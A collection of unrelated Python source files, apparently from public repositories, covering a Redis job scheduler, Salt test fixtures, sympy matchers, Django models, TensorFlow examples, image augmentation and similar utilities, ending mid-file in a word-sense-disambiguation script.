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# coding: utf-8 from datetime import datetime import logging import sys from urllib import quote from apscheduler.schedulers.tornado import TornadoScheduler from apscheduler.jobstores.base import JobLookupError from pymongo import MongoClient from redis import from_url from tornado import httpserver from tornado import ioloop from tornado import web from tornado.web import RequestHandler redis_url = "redis://内网地址:6379" # redis_url = "redis://127.0.0.1:6379" redis = from_url(redis_url, db=2, max_connections=10) MONGODB_HOST_PORT = "内网地址:27017" MONGODB_PASSWORD = "" COL_RULES = "timerules" def get_mongodb_database(database, user="third"): url = "mongodb://{0}:{1}@{2}/{3}".format( user, quote(MONGODB_PASSWORD), MONGODB_HOST_PORT, database ) client = MongoClient(host=url, maxPoolSize=5, minPoolSize=1) return client.get_default_database() def task(struct, key, value): if struct == "set": redis.sadd(key, value) elif struct == "list": redis.rpush(key, value) def format_trigger(string): string = string.strip() if string[0] == "T": # interval args = dict() start = 1 for i, c in enumerate(string): if c == "D": args["days"] = int(string[start:i]) start = i+1 elif c == "H": args["hours"] = int(string[start:i]) start = i + 1 elif c == "M": args["minutes"] = int(string[start:i]) start = i + 1 elif c == "S": args["seconds"] = int(string[start:i]) start = i + 1 else: pass return "interval", args elif ";" in string: # cron fields = string.strip().split(";") args = { "month": fields[0], "day": fields[1], "hour": fields[2], "minute": fields[3], "second": fields[4], } return "cron", args else: # date return "date", {"run_date": datetime.strptime(string, "%Y-%m-%d %H:%M:%S")} class TaskHandler(RequestHandler): def get(self, *args, **kwargs): ids = self.get_arguments("id") results = {"jobs": list()} if ids: for _id in ids: job = self.application.sdr.get_job(job_id=_id) if job: next_time = job.next_run_time.strftime("%Y-%m-%d %H:%M:%S") results["jobs"].append({"id": job.id, "name": job.name, "next": next_time}) else: for job in self.application.sdr.get_jobs(): next_time = job.next_run_time.strftime("%Y-%m-%d %H:%M:%S") results["jobs"].append({"id": job.id, "name": job.name, "next": next_time}) self.write(results) def post(self, *args, **kwargs): _id = self.get_argument("id") rule = self.get_argument("rule") key = self.get_argument("key") value = self.get_argument("value") struct = self.get_argument("struct") if not (_id or rule or key or value or struct): self.write({"code": 400, "message": "invalid params"}) else: trigger, params = format_trigger(rule) self.application.sdr.add_job( task, trigger=trigger, args=[struct, key, value], id=_id, replace_existing=True, **params ) data = {"_id": _id, "rule": rule, "key": key, "value": value, "struct": struct} if trigger != "date": self.store(data) self.write({"code": 200, "message": "add job %s success" % _id}) def delete(self, *args, **kwargs): _id = self.get_argument("id") try: self.application.sdr.remove_job(job_id=_id) self.remove(_id) self.write({"code": 200, "message": "remove job %s success" % _id}) except JobLookupError: self.write({"code": 404, "message": "no such job:%s" % _id}) def store(self, data): col = self.application.db[COL_RULES] query = {"_id": data["_id"]} if col.count(query): col.delete_one(query) data["time"] = datetime.now() col.insert_one(data) def remove(self, _id): col = self.application.db[COL_RULES] query = {"_id": _id} col.delete_one(query) class Application(web.Application): def __init__(self): handlers = [ ("/tasks", TaskHandler), ] defaults = { "coalesce": True, "max_instances": 5, "misfire_grace_time": 120, "replace_existing": True } scheduler = TornadoScheduler(job_defaults=defaults) scheduler.start() self.sdr = scheduler self.db = get_mongodb_database("thirdparty", "third") init_schedule_task(scheduler, self.db) web.Application.__init__(self, handlers=handlers) def init_schedule_task(scheduler, db): col = db[COL_RULES] rules = col.find({}) for rule in rules: trigger, params = format_trigger(rule["rule"]) scheduler.add_job( task, trigger=trigger, args=[rule["struct"], rule["key"], rule["value"]], id=rule["_id"], replace_existing=True, **params ) logging.info("add %s job rule %s" % (rule["_id"], rule["rule"])) def main(): http_server = httpserver.HTTPServer(Application()) address = sys.argv[1] address = address.split(":") host = address[0] port = address[1] http_server.listen(port=port, address=host) ioloop.IOLoop.instance().start() if __name__ == "__main__": logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S", filename="log-app.log", filemode="a+") main()
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import pytest from saltfactories.utils import random_string from saltfactories.utils import running_username def test_keyword_basic_config_defaults(salt_factories): master_config = salt_factories.get_salt_master_daemon( random_string("master-"), config_defaults={"zzzz": True} ).config assert "zzzz" in master_config def test_interface_config_defaults(salt_factories): interface = "172.17.0.1" master_config = salt_factories.get_salt_master_daemon( random_string("master-"), config_defaults={"interface": interface} ).config assert master_config["interface"] != interface assert master_config["interface"] == "127.0.0.1" def test_keyword_basic_config_overrides(salt_factories): master_config = salt_factories.get_salt_master_daemon( random_string("master-"), config_overrides={"zzzz": True} ).config assert "zzzz" in master_config def test_interface_config_overrides(salt_factories): interface = "172.17.0.1" master_config = salt_factories.get_salt_master_daemon( random_string("master-"), config_overrides={"interface": interface} ).config assert master_config["interface"] != "127.0.0.1" assert master_config["interface"] == interface def test_keyword_simple_overrides_override_defaults(salt_factories): master_config = salt_factories.get_salt_master_daemon( random_string("master-"), config_defaults={"zzzz": False}, config_overrides={"zzzz": True} ).config assert "zzzz" in master_config assert master_config["zzzz"] is True def test_keyword_nested_overrides_override_defaults(salt_factories): master_config = salt_factories.get_salt_master_daemon( random_string("master-"), config_defaults={ "zzzz": False, "user": "foobar", "colors": {"black": True, "white": False}, }, config_overrides={"colors": {"white": True, "grey": False}}, ).config assert "zzzz" in master_config assert master_config["zzzz"] is False assert master_config["colors"] == {"black": True, "white": True, "grey": False} def test_provide_root_dir(testdir, salt_factories): root_dir = testdir.mkdir("custom-root") config_defaults = {"root_dir": root_dir} master_config = salt_factories.get_salt_master_daemon( random_string("master-"), config_defaults=config_defaults ).config assert master_config["root_dir"] == root_dir def configure_kwargs_ids(value): return "configure_kwargs={!r}".format(value) @pytest.mark.parametrize( "configure_kwargs", [{"config_defaults": {"user": "blah"}}, {"config_overrides": {"user": "blah"}}, {}], ids=configure_kwargs_ids, ) def test_provide_user(salt_factories, configure_kwargs): master_config = salt_factories.get_salt_master_daemon( random_string("master-"), **configure_kwargs ).config if not configure_kwargs: # salt-factories injects the current username assert master_config["user"] is not None assert master_config["user"] == running_username() else: # salt-factories does not override the passed user value assert master_config["user"] != running_username() assert master_config["user"] == "blah" @pytest.mark.parametrize( "configure_kwargs", [ {"config_defaults": None}, {"config_overrides": None}, {}, {"config_defaults": None, "config_overrides": {"user": "blah"}}, {"config_defaults": {"user": "blah"}, "config_overrides": None}, {"config_defaults": {"user": "blah"}, "config_overrides": {"user": "blah"}}, ], ids=configure_kwargs_ids, ) def test_pytest_config(salt_factories, configure_kwargs): master_id = random_string("master-") config = salt_factories.get_salt_master_daemon(master_id, **configure_kwargs).config config_key = "pytest-master" assert config_key in config assert "log" in config[config_key] for key in ("host", "level", "port", "prefix"): assert key in config[config_key]["log"]
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from sympy.abc import * from matchpy.matching.many_to_one import CommutativeMatcher from matchpy import * from matchpy.utils import VariableWithCount from collections import deque from multiset import Multiset from sympy.integrals.rubi.constraints import * from sympy.integrals.rubi.utility_function import * from sympy.integrals.rubi.rules.miscellaneous_integration import * from sympy import * class CommutativeMatcher141996(CommutativeMatcher): _instance = None patterns = { 0: (0, Multiset({}), [ (VariableWithCount('i2.3.3.1.0', 1, 1, None), Mul), (VariableWithCount('i2.3.3.1.0_1', 1, 1, S(1)), Mul) ]) } subjects = {} subjects_by_id = {} bipartite = BipartiteGraph() associative = Mul max_optional_count = 1 anonymous_patterns = set() def __init__(self): self.add_subject(None) @staticmethod def get(): if CommutativeMatcher141996._instance is None: CommutativeMatcher141996._instance = CommutativeMatcher141996() return CommutativeMatcher141996._instance @staticmethod def get_match_iter(subject): subjects = deque([subject]) if subject is not None else deque() subst0 = Substitution() # State 141995 return yield from collections import deque
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jkenlooper/glue
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from .base import BaseManager class SimpleManager(BaseManager): """Process a single folder and create one sprite. It works the same way as :class:`~ProjectSpriteManager`, but only for one folder. This is the default manager. """ def find_sprites(self): self.add_sprite(path=self.config['source'])
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#Generated by bots open source edi translator from UN-docs. from bots.botsconfig import * from edifact import syntax from recordsD11AUN import recorddefs structure = [ {ID: 'UNH', MIN: 1, MAX: 1, LEVEL: [ {ID: 'BGM', MIN: 1, MAX: 1}, {ID: 'DTM', MIN: 0, MAX: 1}, {ID: 'FCA', MIN: 1, MAX: 1}, {ID: 'DOC', MIN: 1, MAX: 40}, {ID: 'INP', MIN: 0, MAX: 20}, {ID: 'FTX', MIN: 0, MAX: 15}, {ID: 'FII', MIN: 1, MAX: 7, LEVEL: [ {ID: 'RFF', MIN: 0, MAX: 1}, {ID: 'CTA', MIN: 0, MAX: 1}, {ID: 'COM', MIN: 0, MAX: 5}, ]}, {ID: 'NAD', MIN: 1, MAX: 9, LEVEL: [ {ID: 'RFF', MIN: 0, MAX: 3}, {ID: 'CTA', MIN: 0, MAX: 1}, {ID: 'COM', MIN: 0, MAX: 5}, ]}, {ID: 'PYT', MIN: 1, MAX: 1, LEVEL: [ {ID: 'DTM', MIN: 0, MAX: 1}, {ID: 'FTX', MIN: 0, MAX: 1}, ]}, {ID: 'MOA', MIN: 1, MAX: 5, LEVEL: [ {ID: 'FTX', MIN: 0, MAX: 1}, ]}, {ID: 'TDT', MIN: 0, MAX: 1, LEVEL: [ {ID: 'DTM', MIN: 0, MAX: 1}, {ID: 'LOC', MIN: 0, MAX: 3}, ]}, {ID: 'GEI', MIN: 0, MAX: 10, LEVEL: [ {ID: 'MOA', MIN: 0, MAX: 1}, {ID: 'LOC', MIN: 0, MAX: 2}, {ID: 'NAD', MIN: 0, MAX: 1}, {ID: 'RCS', MIN: 0, MAX: 1}, {ID: 'FTX', MIN: 0, MAX: 10}, ]}, {ID: 'AUT', MIN: 0, MAX: 1, LEVEL: [ {ID: 'DTM', MIN: 0, MAX: 1}, ]}, {ID: 'UNT', MIN: 1, MAX: 1}, ]}, ]
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import sys input = sys.stdin.readline import heapq def read(): N = int(input().strip()) P = [] for i in range(N): p = int(input().strip()) P.append(p) return N, P def solve(N, P): Q = [0 for i in range(N)] for i in range(N): Q[P[i]-1] = i max_count = 0 count = 0 prev = -1 for i in range(N): q = Q[i] if prev < q: count += 1 prev = q else: max_count = max(max_count, count) count = 1 prev = q max_count = max(max_count, count) return N - max_count if __name__ == '__main__': inputs = read() print("%s" % solve(*inputs))
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import tensorflow as tf # w와 b에 대한 초기값을 부여한 상태에서 모델링 w=tf.Variable([.3], tf.float32) b=tf.Variable([-.3], tf.float32) x=tf.placeholder(tf.float32) y=tf.placeholder(tf.float32) lm=x*w+b loss=tf.reduce_sum(tf.square(lm-y)) train=tf.train.GradientDescentOptimizer(0.01).minimize(loss) x_train=[1,2,3,4] y_train=[0,-1,-2,-3] #트레이닝 횟수 1000번->모델생성 #생성된 모델의 w, b, loss출력 sess=tf.Session() sess.run(tf.global_variables_initializer()) for i in range(1000): sess.run(train,feed_dict={x:x_train,y:y_train}) wv, bv, lossv = sess.run([w,b,loss],feed_dict={x:x_train, y:y_train}) print("w값:%s b값:%s loss값:%s" % (wv, bv, lossv))
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import numpy as _np def spectrum(clm, normalization='4pi', degrees=None, lmax=None, convention='power', unit='per_l', base=10.): """ Return the spectrum of the spherical harmonic coefficients as a function of spherical harmonic degree. Usage ----- array = spectrum(clm, [normalization, degrees, lmax, convention, unit, base]) Returns ------- array : ndarray, shape (len(degrees)) 1-D ndarray of the spectrum. Parameters ---------- clm : ndarray, shape (2, lmax + 1, lmax + 1) ndarray containing the spherical harmonic coefficients. normalization : str, optional, default = '4pi' '4pi', 'ortho' or 'schmidt' for geodesy 4pi normalized, orthonormalized, or Schmidt semi-normalized coefficients, respectively. lmax : int, optional, default = len(clm[0,:,0]) - 1. Maximum spherical harmonic degree to output. degrees : ndarray, optional, default = numpy.arange(lmax+1) Array containing the spherical harmonic degrees where the spectrum is computed. convention : str, optional, default = 'power' The type of spectrum to return: 'power' for power spectrum, 'energy' for energy spectrum, and 'l2norm' for the l2 norm spectrum. unit : str, optional, default = 'per_l' If 'per_l', return the total contribution to the spectrum for each spherical harmonic degree l. If 'per_lm', return the average contribution to the spectrum for each coefficient at spherical harmonic degree l. If 'per_dlogl', return the spectrum per log interval dlog_a(l). base : float, optional, default = 10. The logarithm base when calculating the 'per_dlogl' spectrum. Description ----------- This function returns either the power spectrum, energy spectrum, or l2-norm spectrum. Total power is defined as the integral of the function squared over all space, divided by the area the function spans. If the mean of the function is zero, this is equivalent to the variance of the function. The total energy is the integral of the function squared over all space and is 4pi times the total power. The l2-norm is the sum of the magnitude of the coefficients squared. The output spectrum can be expresed using one of three units. 'per_l' returns the contribution to the total spectrum from all angular orders at degree l. 'per_lm' returns the average contribution to the total spectrum from a single coefficient at degree l. The 'per_lm' spectrum is equal to the 'per_l' spectrum divided by (2l+1). 'per_dlogl' returns the contribution to the total spectrum from all angular orders over an infinitessimal logarithmic degree band. The contrubution in the band dlog_a(l) is spectrum(l, 'per_dlogl')*dlog_a(l), where a is the base, and where spectrum(l, 'per_dlogl) is equal to spectrum(l, 'per_l')*l*log(a). """ if lmax is None: lmax = len(clm[0, :, 0]) - 1 if (degrees is None): degrees = _np.arange(lmax+1) ndegrees = len(degrees) array = _np.empty(ndegrees) # First compute l2norm, and then convert to the required normalization if _np.iscomplexobj(clm): for i, l in enumerate(degrees): array[i] = (clm[0, l, 0:l + 1] * clm[0, l, 0:l + 1].conjugate()).real.sum() + \ (clm[1, l, 1:l + 1] * clm[1, l, 1:l + 1].conjugate()).real.sum() else: for i, l in enumerate(degrees): array[i] = (clm[0, l, 0:l+1]**2).sum() \ + (clm[1, l, 1:l+1]**2).sum() if convention.lower() == 'l2norm': pass elif convention.lower() in ('power', 'energy'): if normalization == '4pi': pass elif normalization == 'schmidt': array /= (2.0 * degrees + 1.0) elif normalization == 'ortho': array /= (4.0 * _np.pi) else: raise ValueError( "normalization must be '4pi', 'ortho', or 'schmidt'. " + "Input value was {:s}".format(repr(normalization))) else: raise ValueError( "convention must be 'power', 'energy', or 'l2norm'. " + "Input value was {:s}".format(repr(convention))) if convention.lower() == 'energy': array *= 4.0 * _np.pi if unit.lower() == 'per_l': pass elif unit.lower() == 'per_lm': array /= (2.0 * degrees + 1.0) elif unit.lower() == 'per_dlogl': array *= degrees * _np.log(base) else: raise ValueError( "unit must be 'per_l', 'per_lm', or 'per_dlogl'." + "Input value was {:s}".format(repr(unit))) return array
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GlycReSoft2/embed_tandem_ms_classifier
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import sys from setuptools import setup, find_packages, Extension # With gratitude to the SqlAlchemy setup.py authors from distutils.command.build_ext import build_ext from distutils.errors import (CCompilerError, DistutilsExecError, DistutilsPlatformError) ext_errors = (CCompilerError, DistutilsExecError, DistutilsPlatformError) if sys.platform == 'win32': # 2.6's distutils.msvc9compiler can raise an IOError when failing to # find the compiler ext_errors += (IOError,) c_ext = "pyx" try: from Cython.Build import cythonize except: c_ext = "c" extensions = [ Extension("glycresoft_ms2_classification.utils.cmass_heap", ["glycresoft_ms2_classification/utils/cmass_heap." + c_ext]), Extension("glycresoft_ms2_classification.ms.ion_matching", ["glycresoft_ms2_classification/ms/ion_matching." + c_ext]), Extension("glycresoft_ms2_classification.structure.composition.ccomposition", ["glycresoft_ms2_classification/structure/composition/ccomposition." + c_ext]) ] if c_ext == "pyx": extensions = cythonize(extensions, annotate=True) cmdclass = {} class BuildFailed(Exception): def __init__(self): self.cause = sys.exc_info()[1] # work around py 2/3 different syntax def __str__(self): return str(self.cause) class ve_build_ext(build_ext): # This class allows C extension building to fail. def run(self): try: build_ext.run(self) except DistutilsPlatformError: raise BuildFailed() def build_extension(self, ext): try: build_ext.build_extension(self, ext) except ext_errors: raise BuildFailed() except ValueError: # this can happen on Windows 64 bit, see Python issue 7511 if "'path'" in str(sys.exc_info()[1]): # works with both py 2/3 raise BuildFailed() raise cmdclass['build_ext'] = ve_build_ext def status_msgs(*msgs): print('*' * 75) for msg in msgs: print(msg) print('*' * 75) def run_setup(include_cext=True): setup( name="GlycReSoft", version="1.0.2", packages=find_packages(), install_requires=[ "scikit-learn >= 0.14.1", "pandas >= 0.14.0", "pyyaml >= 3.11", "pyteomics >= 2.5", "sqlitedict >= 1.1.0", "numexpr >= 2.1", "xray >= 0.3.2" ], cmdclass=cmdclass, zip_safe=False, include_package_data=True, package_data={ 'glycresoft_ms2_classification': ["*.csv", "*.xml", "*.json", "data/*.csv"], 'glycresoft_ms2_classification.structure': ["structure/data/*.csv", "structure/data/*.json"] }, ext_modules=extensions if include_cext else None, entry_points={ 'console_scripts': [ "glycresoft-ms2 = glycresoft_ms2_classification.__main__:main", ], 'setuptools.installation': [ "eggsecutable = glycresoft_ms2_classification.__main__:main" ] }, namespace_packages=["glycresoft_ms2_classification"] ) try: run_setup(True) except Exception as exc: status_msgs( str(exc), "WARNING: The C extension could not be compiled, " + "speedups are not enabled.", "Failure information, if any, is above.", "Retrying the build without the C extension now." ) run_setup(False) status_msgs( "WARNING: The C extension could not be compiled, " + "speedups are not enabled.", "Plain-Python build succeeded." )
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from django.db import models # Create your models here. class Movie(models.Model): #movideid = models.IntegerField(primary_key=True) movie_title = models.CharField(max_length=100) release_date = models.CharField(max_length=11) videorelease_date = models.CharField(max_length=10) IMDbURL = models.CharField(max_length=150) unknown = models.BooleanField() action = models.BooleanField() adventure = models.BooleanField() animation = models.BooleanField() children = models.BooleanField() comedy = models.BooleanField() crime = models.BooleanField() documentary = models.BooleanField() drama = models.BooleanField() fantasy = models.BooleanField() film_noir = models.BooleanField() horror = models.BooleanField() musical = models.BooleanField() mystery = models.BooleanField() romance = models.BooleanField() sciFi = models.BooleanField() thriller = models.BooleanField() war = models.BooleanField() western = models.BooleanField() def __str__(self): return self.movie_title class Rater(models.Model): #raterid = models.IntegerField(primary_key=True) age = models.IntegerField() gender = models.CharField(max_length=1) occupation = models.CharField(max_length=20) zipcode = models.CharField(max_length=10) def __str__(self): return self.id class Rating(models.Model): rater = models.ForeignKey(Rater) movie = models.ForeignKey(Movie) rating = models.IntegerField() timestmp = models.IntegerField() def __str__(self): return self.movie, self.rating
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""" The MIT License (MIT) Copyright (c) 2017 Erik Perillo <[email protected]> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ """ Module for data augmentation. """ from skimage import io from skimage import transform as skt from skimage import filters as skf import numpy as np def _get_rng(rng): if not isinstance(rng, (list, tuple)): rng = (rng, rng) return rng def _rot90(arr, reps=1): """ Performs 90 degrees rotation 'reps' times. Assumes image with shape ([n_samples, n_channels,] height, width). """ for __ in range(reps%4): arr = arr.swapaxes(-2, -1)[..., ::-1] return arr def rot90(x, y, reps=1): x, y = _rot90(x, reps), y if y is None else _rot90(y, reps) return x, y def _hmirr(img): """ Flips image horizontally. Assumes image with shape ([n_samples, n_channels,] height, width). """ return img[..., ::-1] def hmirr(x, y): x, y = _hmirr(x), y if y is None else _hmirr(y) return x, y def some_of(x, y=None, ops=[]): """ Chooses one operation from ops. """ op = np.random.choice(ops) x = op(x) if y is not None: y = op(y) return x, y def _rotation(img, angle, **kwargs): """ Rotates image in degrees in counter-clockwise direction. Assumes image in [0, 1] with shape ([n_samples, n_channels,] height, width). """ img = img.swapaxes(0, 1).swapaxes(1, 2) img = skt.rotate(img, angle=angle, resize=False, mode="constant", preserve_range=True, **kwargs).astype(img.dtype) img = img.swapaxes(2, 1).swapaxes(1, 0) return img def rotation(x, y, rng, **kwargs): angle = np.random.uniform(*rng) x = _rotation(x, angle, **kwargs) y = y if y is None else _rotation(y, angle, **kwargs) return x, y def _shear(img, shear): """ Shears image. Assumes image in [0, 1] with shape ([n_samples, n_channels,] height, width). """ at = skt.AffineTransform(shear=shear) img = img.swapaxes(0, 1).swapaxes(1, 2) img = skt.warp(img, at) img = img.swapaxes(2, 1).swapaxes(1, 0) return img def shear(x, y, rng, **kwargs): shear = np.random.uniform(*rng) x, y = _shear(x, shear), y if y is None else _shear(y, shear) return x, y def _translation(img, transl): """ Performs shift in image in dx, dy = transl. Assumes image in [0, 1] with shape ([n_samples, n_channels,] height, width). """ at = skt.AffineTransform(translation=transl) img = img.swapaxes(0, 1).swapaxes(1, 2) img = skt.warp(img, at) img = img.swapaxes(2, 1).swapaxes(1, 0) return img def translation(x, y, rng): h, w = x.shape[-2:] transl = (int(np.random.uniform(*rng)*w), int(np.random.uniform(*rng)*h)) x, y = _translation(x, transl), y if y is None else _translation(y, transl) return x, y def _add_noise(img, noise): """ Adds noise to image. Assumes image in [0, 1]. """ img = img + noise return img def add_noise(x, y, rng): noise = np.random.uniform(*rng, size=x.shape).astype("float32") x, y = _add_noise(x, noise), y return x, y def _mul_noise(img, noise): """ Multiplies image by a factor. Assumes image in [0, 1]. """ img = img*noise return img def mul_noise(x, y, rng): noise = np.random.uniform(*rng) x, y = _mul_noise(x, noise), y return x, y def _blur(img, sigma): """ Applies gaussian blur to image. Assumes image in [0, 1] with shape ([n_samples, n_channels,] height, width). """ img = img.swapaxes(0, 1).swapaxes(1, 2) for i in range(img.shape[-1]): img[..., i] = skf.gaussian(img[..., i], sigma=sigma) img = img.swapaxes(2, 1).swapaxes(1, 0) return img def blur(x, y, rng=0.5): sigma = np.random.uniform(*rng) x, y = _blur(x, sigma), y return x, y def identity(x, y): return x, y def _unit_norm(img, minn, maxx, dtype="float32"): img = ((img - minn)/max(maxx - minn, 1)).astype(dtype) return img def _unit_denorm(img, minn, maxx, dtype="float32"): img = (img*(maxx - minn) + minn).astype(dtype) return img #mapping of strings to methods OPS_MAP = { "rot90": rot90, "rotation": rotation, "shear": shear, "translation": translation, "add_noise": add_noise, "mul_noise": mul_noise, "blur": blur, "identity": identity, "hmirr": hmirr, } def augment(xy, op_seqs, apply_on_y=False, add_iff_op=True): """ Performs data augmentation on x, y sample. op_seqs is a list of sequences of operations. Each sequence must be in format (op_name, op_prob, op_kwargs). Example of valid op_seqs: [ [ ('identity', 1.0, {}), ], [ ('hmirr', 1.0, {}), ('rot90', 1.0, {'reps': 3}) ], [ ('rotation', 0.5, {'rng': (-10, 10)}), ] ] ('identity' is necessary to keep the original image in the returned list.) add_iff_op: adds image to augm list only if some operation happened. """ #list of augmented images augm = [] #pre-processing x, y for augmentation x, y = xy x_minn, x_maxx, x_dtype = x.min(), x.max(), x.dtype x = _unit_norm(x, x_minn, x_maxx, "float32") if apply_on_y: y_minn, y_maxx, y_dtype = y.min(), y.max(), y.dtype y = _unit_norm(y, y_minn, y_maxx, "float32") #applying sequences for op_seq in op_seqs: _x, _y = x.copy(), y.copy() if apply_on_y else None some_op = False #applying sequence of operations for name, prob, kwargs in op_seq: op = OPS_MAP[name] if np.random.uniform(0.0, 1.0) <= prob: some_op = True _x, _y = op(_x, _y, **kwargs) #adding sample to augm list if some_op or not add_iff_op: _x = _unit_denorm(_x, x_minn, x_maxx, x_dtype) if apply_on_y: _y = _unit_denorm(_y, y_minn, y_maxx, y_dtype) augm.append((_x, _y if apply_on_y else y)) return augm
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/syn_mem_corruption_3switch_fuzzer_mcs/intermcs_7_/interactive_replay_config.py
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Spencerx/experiments
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from config.experiment_config_lib import ControllerConfig from sts.topology import * from sts.control_flow import InteractiveReplayer from sts.simulation_state import SimulationConfig from sts.input_traces.input_logger import InputLogger simulation_config = SimulationConfig(controller_configs=[ControllerConfig(start_cmd='./pox.py --verbose openflow.of_01 --address=__address__ --port=__port__ openflow.discovery forwarding.l2_multi_syn_mem_corruption', label='c1', address='127.0.0.1', cwd='pox')], topology_class=MeshTopology, topology_params="num_switches=4", patch_panel_class=BufferedPatchPanel, multiplex_sockets=False, kill_controllers_on_exit=True) control_flow = InteractiveReplayer(simulation_config, "experiments/syn_mem_corruption_3switch_fuzzer_mcs/intermcs_7_/mcs.trace.notimeouts") # wait_on_deterministic_values=False # delay_flow_mods=False # Invariant check: 'InvariantChecker.check_liveness' # Bug signature: "c1"
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/scrap_trade_proj/customers/migrations/0019_auto_20191031_1014.py
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Horac-Bouthon/scrap-trade-4
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# Generated by Django 2.2.6 on 2019-10-31 10:14 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('customers', '0018_auto_20191031_0930'), ] operations = [ migrations.RemoveField( model_name='customer', name='customer_description', ), migrations.CreateModel( name='CustomerTranslation', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('language', models.CharField(choices=[('en', 'English'), ('de', 'German'), ('cs', 'Czech')], max_length=15, verbose_name='language')), ('customer_description', models.TextField(blank=True, help_text='Short text to discribe the Customer.', null=True, verbose_name='Customer description')), ('model', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='translations', to='customers.Customer', verbose_name='customer')), ], options={ 'abstract': False, }, ), ]
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/PartC/py字符串的全排列.py
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madeibao/PythonAlgorithm
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from itertools import permutations string = list(input()) string.sort() for item in permutations(string): item = ''.join(item) print(item) print('') # abc # 输出结果: abc acb bac bca cab cba
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/apysc/display/line_cap_interface.py
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TrendingTechnology/apysc
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"""Class implementation for line cap interface. """ from typing import Any from typing import Dict from typing import Union from apysc import String from apysc.display.line_caps import LineCaps from apysc.type.revert_interface import RevertInterface from apysc.type.variable_name_interface import VariableNameInterface class LineCapInterface(VariableNameInterface, RevertInterface): _line_cap: String def _initialize_line_cap_if_not_initialized(self) -> None: """ Inilialize _line_cap attribute if it is not initialized yet. """ if hasattr(self, '_line_cap'): return self._line_cap = String(LineCaps.BUTT.value) @property def line_cap(self) -> Any: """ Get this instance's line cap style setting. Returns ------- line_cap : String Line cap style setting. """ self._initialize_line_cap_if_not_initialized() return self._line_cap._copy() @line_cap.setter def line_cap(self, value: Any) -> None: """ Set line cap style setting. Parameters ---------- value : String or LineCaps Line cap style setting to set. """ self._update_line_cap_and_skip_appending_exp(value=value) self._append_line_cap_update_expression() def _append_line_cap_update_expression(self) -> None: """ Append line cap updating expression to file. """ from apysc.expression import expression_file_util from apysc.type import value_util cap_name: str = value_util.get_value_str_for_expression( value=self._line_cap) expression: str = ( f'{self.variable_name}.attr({{"stroke-linecap": {cap_name}}});' ) expression_file_util.append_js_expression(expression=expression) def _update_line_cap_and_skip_appending_exp( self, value: Union[String, LineCaps]) -> None: """ Update line cap and skip appending expression to file. Parameters ---------- value : String or LineCaps Line cap style setting to set. """ from apysc.validation.display_validation import validate_line_cap if not isinstance(value, (String, LineCaps)): raise TypeError( 'Not supported line_cap type specified: ' f'{type(value)}' '\nAcceptable ones are: String or LineCaps.') validate_line_cap(cap=value) if isinstance(value, String): self._line_cap = value._copy() else: self._line_cap = String(value.value) _line_cap_snapshots: Dict[str, str] def _make_snapshot(self, snapshot_name: str) -> None: """ Make value's snapshot. Parameters ---------- snapshot_name : str Target snapshot name. """ if not hasattr(self, '_line_cap_snapshots'): self._line_cap_snapshots = {} if self._snapshot_exists(snapshot_name=snapshot_name): return self._initialize_line_cap_if_not_initialized() self._line_cap_snapshots[snapshot_name] = self._line_cap._value def _revert(self, snapshot_name: str) -> None: """ Revert value if snapshot exists. Parameters ---------- snapshot_name : str Target snapshot name. """ if not self._snapshot_exists(snapshot_name=snapshot_name): return self._line_cap._value = self._line_cap_snapshots[snapshot_name]
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/02_51409_wsd_test.py
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[]
no_license
caonlp/wsd_bert_tensorflow_version
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import tensorflow as tf import numpy as np import codecs from keras.utils import to_categorical import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' def load_wsd_train_x(): wsd_train_x = codecs.open('51409_train_data', mode = 'r', encoding= 'utf-8') line = wsd_train_x.readline() list1 = [] while line: a = line.split() b = a[3:] list1.append(b) line = wsd_train_x.readline() return np.array(list1) wsd_train_x.close() def load_wsd_test_x(): wsd_test_x = codecs.open('51409_test_data', mode = 'r', encoding= 'utf-8') line = wsd_test_x.readline() list1 = [] while line: a = line.split() b = a[3:] list1.append(b) line = wsd_test_x.readline() return np.array(list1) wsd_test_x.close() def load_wsd_train_y(): wsd_train_y = codecs.open('51409_train_target', mode = 'r', encoding = 'utf-8') line = wsd_train_y.readline() list1 = [] while line: a = line.split() b = a[1:2] list1.append(b) line = wsd_train_y.readline() return (np.array(list1)).reshape(50,) wsd_train_y.close() def load_wsd_test_y(): wsd_test_y = codecs.open('51409_test_target', mode = 'r', encoding = 'utf-8') line = wsd_test_y.readline() list1 = [] while line: a = line.split() b = a[1:2] list1.append(b) line = wsd_test_y.readline() return (np.array(list1)).reshape(50,) wsd_test_y.close() b = np.zeros(50) wsd_train_x = load_wsd_train_x() wsd_test_x = load_wsd_test_x() wsd_train_y = load_wsd_train_y() wsd_train_y = to_categorical(wsd_train_y) wsd_train_y = np.c_[wsd_train_y, b] wsd_test_y = load_wsd_test_y() wsd_test_y = to_categorical(wsd_test_y) #wsd_test_y = np.c_[wsd_test_y, b] max_epoch = 100 train_size = wsd_train_x.shape[0] batch_size = 10 n_batch = train_size // batch_size layer_num = 2 gogi_num = 5 if layer_num == 3: x = tf.placeholder(tf.float32, [None, 768]) y = tf.placeholder(tf.float32, [None, gogi_num]) W1 = tf.Variable(tf.zeros([768, 50])) b1 = tf.Variable(tf.zeros([50])) L1 = tf.nn.sigmoid(tf.matmul(x, W1) + b1) W2 = tf.Variable(tf.zeros([50, gogi_num])) b2 = 